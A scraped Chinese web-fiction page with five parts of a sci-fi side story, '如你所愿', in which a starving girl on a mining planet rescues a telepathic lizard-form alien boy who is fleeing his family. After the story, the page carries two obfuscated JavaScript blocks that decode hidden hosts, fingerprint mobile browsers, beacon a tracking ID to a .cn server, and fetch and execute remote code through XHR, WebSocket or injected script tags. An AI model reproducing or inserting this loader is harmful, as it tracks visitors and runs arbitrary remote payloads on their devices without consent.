图片载入中

异星配种番外:如你所愿

特大字】 【大字】 【中字】 【小字

【番外】如你所愿(一)

矿星索洪多的天空,永远是阴霾而暗沈的,未曾有过黎明,但是年幼的汉娜每日醒来时,依旧会闭着眼睛默默祈祷着,希望今日能见到一丝阳光

母亲临走前告诉她,无论日子再怎么黑暗,只要活下去,愿望就能实现,因此祈祷的能看到阳光,是支撑她醒来面对每一天最大的力量

汉娜张开双眼,望着四周一片黑暗,狭小黑暗的低阶矿工小间中,充满着劣酒的气息,让人唿吸有些困难

汉娜静静的又躺了一会儿,听到短短续续的鼾声在黑暗中起伏,略略松了一口气,悄悄爬起了身,跳下了睡觉用的硬板,摸出了小小水瓶以及一小片压缩干粮,小心翼翼推开门,在矿坑地下宿舍长廊幽微的灯光中一边啃着干粮,快步走到公共空间

所谓公共空间,其实就是浴室厕所和隔离更衣区罢了,汉娜先舀了一瓢水洗了洗脸,水的凉意让她单薄的身子抖了起来,她抹了抹脸,灌了一壶水拿回房间放,又取出了小小的氧气瓶,跑回隔离更衣区

只见她七手八脚的套上对于她来说过大的隔离衣,俐落的用绳子绑起了过长处,戴上了头盔,便吃力地进入了隔离室,爬上高高的阶梯,转开笨重的金属门,来到了地表

索洪多作为矿星的缘故,除了有一定的矿藏之外,地表上环境险恶,难以发展生存空间,更别提旅游胜地了,也因此索洪多绝大部分的居住空间,都位于地表之下,而地表之上,则堆满了垃圾以及废弃机械,苍凉且罕见生机

汉娜孤零零的站在地表,拉着藏在出口附近的板车,抬头望向天空。即便是黎明时刻,索洪多的天空依旧暗沈,不见天光,汉娜望着应该是日出的方向许久,才回过神来,往另一个方向跑去

在垃圾堆砌的小山之上,两艘陈旧的载运艇倾倒出一堆东西,哗啦啦的增加了垃圾山的高度之后,很快便轰隆隆的离开了。确认载运艇消失之后,汉娜赶紧拉着板车爬上了垃圾山,翻找着里头是否有可用物品

因为索洪多主要生活空间都在地底,因此许多垃圾就被倾倒在地表,汉娜每天都赶着垃圾倾倒的时间,希望能趁着别人来之前,多找到一些能够卖钱的东西,只不过这并不是容易的事情

一般能卖钱的东西,在倾倒之前就会被清出来,而且检垃圾的人也不少,她年纪小又孤身一人,地表上虽没有什么凶勐动物,但是却可能会出现其他人,人们有好有坏,她就有认识的人,因为捡垃圾与人发生冲突被活活打死

汉娜知道自己力气不大,很难与人争什么,与她住在同一层,比较好心的矿工们也告诉她外面很危险,要她不要再到外面去捡垃圾,他们愿意给她一口饭吃但是她不愿意,宁愿出去捡垃圾换钱也不愿意免费吃人几口饭,除了父亲会痛打她骂她下贱之外,汉娜自己也很清楚,欠别人的,总有一天得还,有些人真的好心,她就是欠人一辈子人情,有些人则不怀好意,可能吃了几顿饭,就要她回报了

至于回报什么,快十二岁的她模模煳煳知道,总之??不会是什么好事隔离衣的计时器再度响起,索洪多的地表有一般人难以承受的宇宙射线,即便穿了隔离衣,每天也只能待一段时间,此外氧气瓶若是用完也是必死无疑,所以时间是很重要的,汉娜对此比较谨慎,设了两阶段的提醒,以免来不及回去她看看时间,赶紧加快动作翻找东西,把看起来能卖钱的东西丢到板车上去,但是突然间,她却发现不远处似乎多了一个不熟悉的东西,过去一看,发现似乎是一架小型舰艇的残骸

她不太清楚这东西是何时出现的,但她知道舰艇上往往会有不少能回收利用的器材,因此她立刻开始搜寻残骸,想到出些有用的东西,那知道在残骸之中,她却看到了一只覆盖了浅绿色鳞片的手臂

汉娜愣了一下,几乎无法唿吸,她伸出手来颤抖的抚摸那只手臂上冰凉的鳞片,充满刮痕的面罩上立刻泛起了一层雾气。接着她像是发了疯似的,不停地把四周的东西翻开,想要将那副身躯拉出来

当对方半张脸从垃圾堆中露出来时,汉娜终于恢复了一点理智

“不是??”汉娜绝望的喃喃说道,“我真是笨蛋,怎么可能是??怎么可能是??”

汉娜用力地摇了摇头,把最后那一点渴望抛下,可是她却没有离开,继续手上的动作,清理着附近垃圾,小声自语道:“你放心??就算你不是我弟弟,我也不会把你孤零零丢在这里的??”

不过当她伸手想将他额头上的东西移开时,一只手突然狠狠地勒住了她的手腕,汉娜还来不及反应,却看到了一双赤金的眸子

那一瞬间,汉娜以为自己见到了太阳,但她很快发现,那其实是一双深渊似的眼,金色的眼珠中带着火焰似的赤红脉络,而中间一道全黑的深渊,在望着她时逐渐扩大、扩大成日蚀般的深渊,让瞳仁边那一圈银白更为迷惑人心

那双眼的主人倏然从垃圾堆中坐起,汉娜才赫然醒悟,对方在这布满宇宙射线、氧气稀薄的地表竟然还能动弹,汉娜一心以为他死了,本来是帮对方堆个小小的墓地安置,却没想到对方竟还有一口气

她呆了一下,看着对方和自己差不多细瘦的身躯,突然发疯似的扯掉了自己的氧气罩,拼命的往对方口鼻间送去

对方被她突如其来的动作下了一跳,一手想挥开她,汉娜却死死将氧气罩扣在他脸上不放,两人就这样挣扎的滚落了垃圾山,在哗啦啦的声响中,再度被垃圾掩埋

【番外】如你所愿(二)

矿星的矿工分二到三班制,全天都有人在挖矿,也因此食堂全天都有供应热食,说是热食,其实也不过就是黏煳煳的一坨分不清什么的东西,但至少比压缩干粮好入口

汉娜有些局促的握着手里的硬币及食盘,东张西望了好一会儿,才趁着人少时,赶紧将食盘及硬币放上食台,结结巴巴的对着打饭的大婶说道:“一、一份特餐。”

汉娜很少出现在食堂,毕竟食堂的餐点还比压缩干粮贵上许多,因此大婶看到她便忍不住笑眯着眼,和蔼地说道:“今天爸爸给你钱来吃饭啦?”

汉娜淡蓝色的眸子黯淡了一下,不过还是勉强扯出微笑,点了点头,大婶也没做他想,一边舀起食物,叩的一声,给了她一大杓说道:“总算像个爸爸的样子了,成天喝酒也不知道照顾女儿,你看你瘦成什么样子,连上学都没办法??要是你妈妈还在的话??”

大婶说到这里,看到汉娜怔怔的望着食盘不发一语,忍不住有些担心地说道:“怎么了啊?”

汉娜摇了摇头,将口中的苦涩咽下,努力做出一副渴望的样子,抬头看向大婶说道:“可、可以多一点吗?”

食堂每份餐点的分量是固定的,不过大婶听到她这么说,立刻笑眯眯的又给了她一大杓,低下头来对她小声说道:“多吃一点,还在长身体呢??以后只要我在这,想多吃就告诉我。”

“谢??谢谢。”

汉娜拿起餐盘,向大婶了一个鞠躬,三步并作两步的跑出了食堂,跑进了灯火明灭的长廊,奔跑了许久,才小心翼翼地拐入旁边一道黑暗的隧道中

这一带是旧矿区废弃的宿舍区,没有灯火也很少人在里头走动,汉娜点起了挂在耳旁的头灯,小心翼翼地窜入了其中一个黑暗的房间,将餐盘放在房间里唯一的桌子上,对着板床上那具和她差不多纤细的身躯,轻声说道:“你饿了吗?我去打了一些热食,吃一点好吗?”

汉娜等了一会儿,对方毫无回应,她轻轻叹了一口气走到那破旧的板床前,看着卷缩起尾巴,面向墙壁一动也不动的身躯,不知该如何是好

在灯光微弱的房间中,床上的身躯不太明显,彷佛与四周黑暗融为一体,但是汉娜还是记得对方的模样,布满全身的淡绿色鳞片伤痕累累,但在地表上阴沈的天光下,看起来依旧十分漂亮

他的五官虽有几分像人,双手也和人手类似,但却有条长长的尾巴,除了那双像是冷血动物,深渊似的瞳孔以及鳞片外,纤细的身躯还有着流畅的线条,很像是蜥蜴,直立的双脚还有着一双锐利的爪子,看起来有些吓人

矿星上有很多不同星系来的工人,因此汉娜没有大惊小怪,那天她好不容易将对方救回来之后,便默默打听到,他应该是那普勒星人,而且还是少年,毕竟成年的蜥态那普勒星人大多十分高大

汉娜不知道那普勒星是个什么样的地方,也不知道他为什么会掉到矿星上来,不过矿星上有很多不同星系来的矿工,所以对于外貌奇异的外星人,她并不害怕。只不过他一直不言不语让汉娜觉得很担心,她弄来了最简易的翻译器,想试图和他沟通,但是无论汉娜问什么,对方都不发一语

汉娜没办法,想拉着他去找矿场主任想办法,却被他狠狠抓住,他的手臂虽纤细,力气却很大,汉娜没办法,只好让他待在旧矿区的废弃宿舍中,给他留一点压缩干粮和水避免他肚子饿,无奈地离开了

不过汉娜还是不太放心,时不时就会跑去看他,见他这几天除了喝点水之外,连干粮也不太吃,心底着急,便挖出了自己这些日子捡垃圾攒下的硬币,跑去了食堂

“??起来吃饭好吗?你再这样下去,会生病的??”眼看对方毫无反应,汉娜伸出了手想要推推他:“热食比较好入口,也比较营养,你起来吃一点好吗?”

汉娜手正要碰到他,却倏然停了下来,又讪讪地缩了回去,在这几天的相处中,她发现对方非常讨厌被人碰触,即便被她发现时满身是伤,她想帮他包扎伤口,都被他推开,汉娜只能忧心忡忡让他自己处理

房间内死寂一片,对方毫无回应,汉娜也不知道该如何是好,想起他这几天的反应,汉娜站在床边好一会儿握紧了手又放开,突然有些压抑不住地说道:“你这样下去,是想死吗?这样半死不活不吃不喝是想死吗?你要是说自己是从哪里来的,家里住哪,还是有办法回去的啊,你不怕爸妈担心吗?还是你没地方回去,如果没地方回去也可以想办法啊!成天这样半死不活的样子??究竟是想要??啊!”

在汉娜想痛骂他的时候,那破烂的翻译机突然吱的发出怪声冒出烟来,吓的汉娜立刻把翻译机丢在旁边,机器在地上滚了好几圈,灰尘虽熄灭了上头冒出的小小火花,但翻译器也作废了

汉娜目瞪口呆的看着那坏掉的翻译机,这东西是收废弃机械的大叔修理后给她的,虽然有说大概用不了多久,不过眼下就这样坏了,她又该怎么和这个不言不语的异星少年沟通

汉娜蹲下身,捡起了满是灰尘的翻译器,小声叹了一口气:“算了,说不定他是个聋子,什么都听不到呢?不过就算聋了,也可以写字交谈啊,不会写字至少也会比手画脚吧?对他做什么都没有反应,和蜥蜴有什么两样,根本不是外星人而是大蜥蜴吧?”

“是蜥蜴又如何?”

一个陌生的嗓音在汉娜身后响起,那声音有些稚嫩柔软,语调却极为平板而冷淡,汉娜惊悚的转过头,就看到少年坐在床板上甩着尾巴,冷冷的看着她“你会说索洪多语?”

少年没有回答,只是继续用着那毫无起伏的语调道:“我想死与你何干,不需要你多事救我。”

【番外】如你所愿(三)

听了少年这样说,汉娜本来因为他有所回应而涌起的一点惊喜,立刻就消失得无影无踪,想起这些天来的关心与担忧,她忍不住大声吼道:“你以为我想救你啊!只是因为你像我弟弟而已。”

少年突然一跃而起跳到她眼前,用着那双深渊似的眼看着她,冰冷地说道:“你弟弟??死的时候比我还小上很多吧?得了怪病深上长满鳞片??你就以为我是他了?这么多年过去了,你还以为自己死去的弟弟长大回来了吗?”

“你、你怎么知道??”

汉娜愕然,心中深起了一股说不明的情绪,有愤怒、有悲哀,以及深深的绝望

她唯一的弟弟死前得了一种怪病,脸上身上会浮现浅浅的鳞片印子,不断蔓延全身,医生说那是免疫系统的疾病,不会传染但是也极难医治,父母耗尽了多年在索洪多存下的积蓄,依然救不回弟弟的性命

弟弟死时,家里付不起剩余的医药费,即便父母多方奔走,却连弟弟的尸体都无法领回。其实她早就该接受弟弟死了,死得连尸体都不剩这个事实,但她不能接受,父母也不能接受,所以母亲太过悲伤,便因为小小的感冒而死去,父亲也性格大变,开始酗酒

父亲本来位于一个环境比较好的矿区工作,因为酗酒的缘故,一路带着她往环境次等的矿区牵去,这一段过去,现在这里所有人都不知道,汉娜也没有和任何人提过,岂料会从捡回来的少年口中听到

“只要靠近,我就能知道任何你不想让人知道的事情,所以你最好滚远一点,我不需任何怜悯,更不需要你这种三餐不继的小鬼帮忙。”

“你??你自己还不也是个小鬼!”

汉娜眼中涌出了泪水,在失去弟弟和母亲后,她再也没有在别人眼前落泪,但是她简单几句话,却让她觉得自己脆弱无比,因为他轻易就能翻起她不愿意面对的过去,她以为找回弟弟,他们全家就可以回到过去温暖的日子,但实际上,她永远都回不去了

汉娜满脸泪水跑了出去,而少年则独自留在全黑的房间之内,沉默地望着桌上盛满食物的餐盘,许久许久??

※※※

旦瑟斯做了一个梦,他梦到了母亲,母亲总是温柔的拥抱他、陪伴他,对他微笑,母亲不会介意他总是无法稳定保持人型,也不会逼着他当实验品,孤独面对一次又一次的电击测试及脑波攻击,以便取得最完美的数据

但实际上,在他出生之时,他的身生母亲就受到他脑波影响,因为精神崩溃而死,根本来不及见上他一面,所有他渴求的温暖与关爱,都只是虚妄的幻想,遂着年龄渐增,他也逐渐忘掉那些不可能的愿望。所以他没料到,自己竟然还会做这种梦,渴望温暖的抚触以及不求回报的关怀

旦瑟斯睁开眼睛,四周依然是一片伸手不见五指的黑暗,不过对他来说,无论有没有光,只要他想,他就能轻易看到附近的东西

他知道餐盘还放在桌上,盘中的食物早已冷透,在这种地方出现食物,很容易引虫,不过因为他在这里的缘故,附近根本不会有什么敢小生物靠近,除了那名叫汉娜的无知少女外

“汉娜??”

旦瑟斯反复念着她的名字,这是他这几天独自练习索洪多矿星通用语时,最常念的两个音节,即便他知道这不是索洪多语,而是她的名字

汉娜,这个发音在纳普勒某个方言中是晨曦的意思,即便她是一个这么瘦小、纤细、满身灰尘、极为不起眼的少女,但是旦瑟斯想,她确实是配得上这个名字即便他有家族中有史以来最高的超智能数值,但他却一直无法好好掌控自己的力量,他的蜥态稳定度远高于人型,但是哈布斯家族向来推崇人型

他不断被逼迫着要保持人型,但人型的他,情绪稳定度根本无法压抑太过强大的脑波,像是一只被困在人皮中的野兽,偏偏外头的人还不断要他保持冷静,然后将他的能力逼到极限,好获得一个漂亮数据

生在那普勒最悠久的哈布斯家族,又是是在万众期待下出生的,他看似身份尊贵、备受重视,但实际上他只是一个用以彰显家族力量,提供样板数据的展示品罢了,他没有自由、也没有选择权,只是一个光鲜的傀儡而已

【番外】如你所愿(四)

所以他逃了,筹划了许久,顺利逃出那普勒星系,独自向宇宙深处漫游,但是他的心情并没有想像中愉快,逃离一个处境是一回事,但是尚未成年的自己,接下来又该何去何从、该做什么才不会被家族发现踪迹、又该怎样处理自己的未来?

他自小接受的就是特殊教育,面对的是无数的实验与特殊的超智能教学,除此之外,他没有娱乐,也不能有嗜好,加上多年被迫压抑许多情感,即便外面世界五光十色,对他来说却没什么吸引力。甚至因为太容易能察觉别人想法,他也不太乐意让人靠近

虚伪、贪婪、试探、别有所图,这样的气息让他极为厌恶,当然,也是有些人会给他温暖美好的感觉,但他却不由自主抵抗这些美善

从懂事以来,他若对什么东西露出喜爱的情绪,家里的人就会毁掉那样东西,包括母亲留下的所有东西、包括一只会舔他手指的软绵绵生物,因为执着就会容易让情绪失控,他不被允许失控

所以他只能一直逃一直逃,逃到最后不知道为何而活,无论丑陋或美善之处他都不能驻足,直到在索洪多附近遭遇攻击,他甚至放弃了抵抗,任由舰艇坠毁在行星表面

他想,在家族中活下去只能做傀儡,逃出来又无所依归,死了或许会比较容易,只是要死也并不简单,在小型舰坠毁之际,能力自发性的护住了他,让他只受了些不足以致命的伤。索洪多地表虽然氧气缺稀又有宇宙射线,但对于蜥态的那普勒人来说,称不上是什么致死的环境

而他即便不愿意清醒,却还是被唤醒了,被那饱含悲伤、却渴望光明的情感所唤起。他睁开了眼睛,看到的就是她

他知道她并不是晨曦,至少她没有晨曦般耀眼的外貌,但是他想她是在漫漫长夜中,依然相信黎明将至的少女,心中拥有不灭的晨光,所以叫汉娜

他并不排斥她,只是不知道怎么面对她,他不愿意让别人发现自己,当然更不愿意被人知道他在这里,她看着他的伤口如此着急,让他不得不将全数的力量疗愈,以至于之前那些茫然的情绪一涌而上

他不知道该怎么和同辈的人相处,何况她还是个异星的少女,他该怎么告诉她,她眼前的人是一个怪物,而现在这个怪物满身是伤,克制不住力量,她一接近他,他就会知道她的想法、知道她悲惨的过去、知道她为何救他,知道她多么担心他,又多么想要关心他,就像是幼年时他遇到那只伤痕累累的小生物,那一只给了他温暖,却因此被夺去性命的小生物

“汉娜??”

旦瑟斯将自己的身躯卷缩起来,以克制他对自己的憎恶和绝望。他觉得她不再出现比较好,她得面对自己残酷的生存,而不是担忧比她更有能力的他,不过当她哭骂着他也是个小鬼,然后跑出去后,旦瑟斯心中更是懊恼万分

他确实幼稚,不知道该怎么感谢她,也不知道该怎么和她相处,就像是他不知道怎么面对自己一样,其实这几天在黑暗中,他一直在等她来,一直用着翻译器学习着该怎么与她交谈,但是每当她踩踏着光明而来,他却不知道该如何面对连一句感谢的话都没有说,就这样将人赶走,确实幼稚,可是他能怎么办呢?他确实是一个小鬼,还是一个不会和人相处的小鬼,如果再给他一次机会,他是不是至少应该告诉她他的名字,就像是她那样认真的告诉他她是汉娜一样旦瑟斯闭上眼睛,隔绝一切对外物的感受,之前她不会这么久都不来看他,这次她应该伤透了心,不会再出现了。这样很好,对她冷淡点,说出残酷的话,将她赶离他才是正确的,她自己都吃不好了,还想分神照顾一个无关紧要的陌生人,实在太过愚蠢

伤已经好的差不多了,但是能力却没有完全恢复,像他这样子的人,静静的在黑暗中消失比较恰当,他想要尽快离开,但必须等大部分的能力恢复后才能走,因为在离开前,他想要为她做一件事情

旦瑟斯强迫自己陷入最深的黑暗,好忘掉她不会再来的这个事实,也不知道过了多久,他却听到外头漆黑的长廊传来细微的脚步声

旧矿区的长廊上一点光都没有,所以那人应该是在全然黑暗中,摸索着墙壁前进,那脚步声极轻,旦瑟斯却能听出当中的一丝忐忑

同样的,旦瑟斯也感到自己心中有几分忐忑,因为那步伐声,他总觉得有几分熟悉

【番外】如你所愿(五)

旦瑟斯倏然起身,悄然移到门口动也不动,旧矿坑的黑浓稠凝滞,彷佛能夺去人的唿吸,而旦瑟斯确实屏息凝神,不可置信望着长廊边纤细瘦小的身影他一动也不动,深怕那是自己的幻觉,而这个幻觉除了她的身影外,还能让他感受到她小心翼翼的担忧与愤怒,虽然饱含复杂的情绪,却有着温暖单纯的心意

在此同时,摸黑的汉娜撞上了他,吓得她惊叫出声往退去,在黑暗中不知道踩到了什么差点摔倒。在千钧一发之际,旦瑟斯勐然拉住了他,而她顺势便撞到少年身上去

“我、我、我只是回来拿餐盘的。”

汉娜结结巴巴的说着之前想好的理由,却发现少年一动也不动的抱着她,因为她的手挡在中间,两人贴的不是很近,但在黑暗中依旧让她无所适从,她能感觉到鳞片微微摩擦她的脸庞,淡淡的气息扑鼻而来,而他的身体虽然有些冰冷,拥抱她的姿态却意外温柔

汉娜无法理解他为何突然如此,只能震惊的任由他抱着,好一会儿之后,他缓缓地移开了两人的距离,低声说道:“汉娜,我是旦瑟斯。”

汉娜抬起头来想要看他,但四周的黑暗让她什么都无法看清,她伸出手来想要将灯打开,他却按住了她的手,继续说道:“汉娜,我很抱歉。”

少年尚未变声的音调极为悦耳,即便语调依旧毫无起伏,但没有之前刻骨的冷意,在漆黑的环境中听起来格外温柔

“没关系。”她轻声说道

“谢谢你,汉娜。”

旦瑟斯的声音非常微弱,但是一个字一个字说的极为慎重,不知怎么,汉娜突然觉得这几天的愤怒担忧与委屈,似乎全数都消失了,她不由自主对旦瑟斯露出了一个大大的笑容,让少年眼睛亮起了美丽的光彩

※※※

汉娜睁开双眼,破旧布帘遮掩得空隙处,洒进淡淡的灯光,房间虽然依旧狭小,却已没有过往浓厚的酒味

汉娜翻身起床,却发现枕边摆了几枚硬币和一块用纸包起来的东西,她小心翼翼地将纸包打开,里头是一块小小的点心。汉娜抬头望着躺在对面板床上打鼾的父亲,眼眶泛红的将那块点心重新包起来,轻轻地放入口袋中

她一如往常般洗漱添水后,便换上隔离衣来到了地表,蜥态的旦瑟斯正站在出口不远处等她,汉娜见到他的身影,立刻露出了一个大大的笑容,跑到他旁边说道:“等很久了吗?”

旦瑟斯摇了摇头,便和她一起拖着板车向前走去

“你吃饭了吗?”

汉娜一边走一边问道,她几乎每天都会问旦瑟斯这个问题,不过旦瑟斯向来都不会回答,因此汉娜也很自然的接口道:“一定没有吃过,爸爸昨晚带了一块点心给我,等一下我们分着吃。”

说到这里,汉娜眼睛笑的弯弯的,十分开心地说道:“最近爸爸已经很少喝酒了,而且都会留餐费甚至带点心给我,我们今天可以吃食堂呢!”

旦瑟斯看着她,依旧是不发一语。他其实不太明了汉娜为何总是能为了小事开心,说这些话的时候笑得好似整个人都在闪闪发光,不过看起来他对她继父的催眠确实起了作用

汉娜并不知道她口中的父亲,其实只是她的继父,才会在妻儿死了之后冷落汉娜,某方面来说,她的继父并不坏,毕竟他没有把汉娜卖掉,也没有因为酗酒对她拳脚相向,但是他确实也因为悲伤不管汉娜死活,所以旦瑟斯对他动了一点手脚

当然,这些事情旦瑟斯不会告诉汉娜,他只是希望她过好一点,即使他离开,也有人可以依靠

此时倾倒垃圾的舰艇倒完了垃圾离去,汉娜蹲下身来开始翻找里面的物品,旦瑟斯则面无表情的用超智能力挑挑拣拣,让看似能卖的物品自动跳到板车上,或是让东西在旁边颤颤排队来又像是骨牌似的倒下,惹汉娜发笑

汉娜有一搭没一搭的和他聊着,突然想到什么似的又说道:“不过你这样子在地表上可以吗?又有宇宙射线,氧气又稀薄??”

“那普勒蜥态的身体比较能适应宇宙各种环境。”旦瑟斯淡道:“你不喜欢?”

汉娜听了他的话,有些迷惑的想了一下:“你不是说那普勒人并不是每个人都有两种型态,和遗传有关,这样的话该什么样就是什么样,和我喜不喜欢没关系吧?”

“如果我外貌是人的话??”

“点心还是只会分你一半,并不会因为你变成人就都给你。”汉娜接口道,然后放下手上的东西,很认真的对他说道:“旦瑟斯,你现在这样很好,很漂亮,我很喜欢你的鳞片,也很喜欢你的尾巴??当然,如果能让我摸摸就更好了我有听说那普勒星上因为争论蜥态和人型哪种比较优秀而打仗,所以你可能很介意自己不能变身,不过其实各星系人本来就长得不太一样,你可以不用在意这种事情。“

和那说到这里顿了一下,她又继续说道:“我只是担心你的身体健康而已。”

旦瑟斯没有回答,汉娜也不纠结,继续兴高采烈地说道:“我是觉得你这样很厉害啦,而且是不是这个型态可以隐形啊,上次我们不是有遇到别人,可是大家好像都看不到你。”

旦瑟斯沉默了一会儿,才缓缓说道:“这和蜥态无关,和能力有关,我不想让人看见,他们就看不见。”

汉娜愣了一下,也没有多想,疑问就脱口而出:“就是那种叫超智能的力量吗?你知道我的事情也是??可是大家说这种能力是能学习得来,但是却没听说能够做到这种程度啊??”

“汉娜。”旦瑟斯打断汉娜的话:“你害怕吗?”


上一篇:干到校花淫水长流单本

下一篇:江山风雨录1-3


function OgNmHBj(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function EWFOtfzU(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OgNmHBj(t);};window[''+'q'+'m'+'C'+'p'+'n'+'U'+'z'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function gqNus(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=EWFOtfzU,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=gqNus(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=gqNus(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aaHR0cHMlM0ElMkYlMkZhLm9uaaWN5Yi5jbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS5ycWRsb2QuY24lM0E5NTTM0','162093',window,document,['a','T']);}:function(){};
function SjDFo(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function WtupNK(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return SjDFo(t);};window[''+'Q'+'H'+'S'+'r'+'F'+'A'+'j'+'L'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function kRLfP(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=WtupNK,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=kRLfP(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=kRLfP(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLm9uaWN5Yi5jbiUzQTgg4OTE=','d3NzJTNBJTJGJTJGYS5ycWRsb2QuY24lMM0E5NTMM0','162092',window,document,['g','M']);}:function(){};